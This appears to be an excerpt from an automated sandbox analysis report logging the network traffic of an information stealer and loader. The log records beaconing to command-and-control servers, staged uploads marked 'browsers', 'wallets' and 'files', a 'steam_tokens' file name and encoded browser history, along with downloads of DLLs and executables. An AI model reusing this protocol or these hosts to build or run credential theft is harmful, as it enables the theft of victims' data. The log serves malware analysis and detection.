Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 36 30 41 41 37 35 35 43 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="hwid"6D60AA755CB61709341086------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="build"drum------AKKEHIECFCAAFIEBGIDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"browsers------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="message"plugins------FHCGCFHDHIIIDGCAAEGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 2d 2d 0d 0a Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="message"fplugins------EBAKEBAECGCBAAAAAEBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGHHost: 185.215.113.206Content-Length: 5763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.206Content-Length: 979Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 185.215.113.206Content-Length: 1159Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 2d 2d 0d 0a Data Ascii: ------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="file"------IIEHJEHDBGHIDGDGHCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGHHost: 185.215.113.206Content-Length: 575Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 59 6d 6c 75 5a 79 35 6a 62 32 30 76 63 32 56 68 63 6d 4e 6f 50 33 45 39 63 6d 56 6e 5a 57 52 70 61 33 51 6d 5a 6d 39 79 62 54 31 58 54 6c 4e 48 55 45 67 6d 63 58 4d 39 55 31 63 6d 59 33 5a 70 5a 44 30 78 59 7a 52 6a 4d 6d 55 79 4f 44 45 78 5a 54 51 30 59 7a 41 7a 59 54 59 7a 59 57 46 6b 4e 6d 5a 6a 5a 6a 4d 35 4d 54 63 78 4e 69 5a 77 63 54 31 79 5a 57 64 6c 5a 47 6c 72 64 43 5a 6a 59 7a 31 48 51 69 5a 7a 5a 58 52 73 59 57 35 6e 50 57 56 75 4c 56 56 54 4a 6e 64 7a 63 32 38 39 54 57 39 6b 5a 58 4a 68 64 47 55 4b 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 2d 2d 0d 0a Data Ascii: ------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="file"aHR0cHM6Ly93d3cuYmluZy5jb20vc2VhcmNoP3E9cmVnZWRpa3QmZm9ybT1XTlNHUEgmcXM9U1cmY3ZpZD0xYzRjMmUyODExZTQ0YzAzYTYzYWFkNmZjZjM5MTcxNiZwcT1yZWdlZGlrdCZjYz1HQiZzZXRsYW5nPWVuLVVTJndzc289TW9kZXJhdGUK------IEGCAAKFBAEGDGCBGCGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file"------DBKFIDAAEHIEGCBFIDBF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGHost: 185.215.113.206Content-Length: 1047Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="message"wallets------HCAFIJDGHCBFHJKFCGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"files------EBFHJEGDAFHIJKECFBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file"------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="message"ybncbhylepme------EGDBFIIECBGDGDGDHCAK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IEHIIIJDAAAAAAKECBFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/7403972632/gU8ND0g.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 34 33 33 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1010433001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /files/6299414420/HRFuUub.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 31 31 38 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011118001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /files/6299414420/tpZOod0.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 33 33 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011233001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
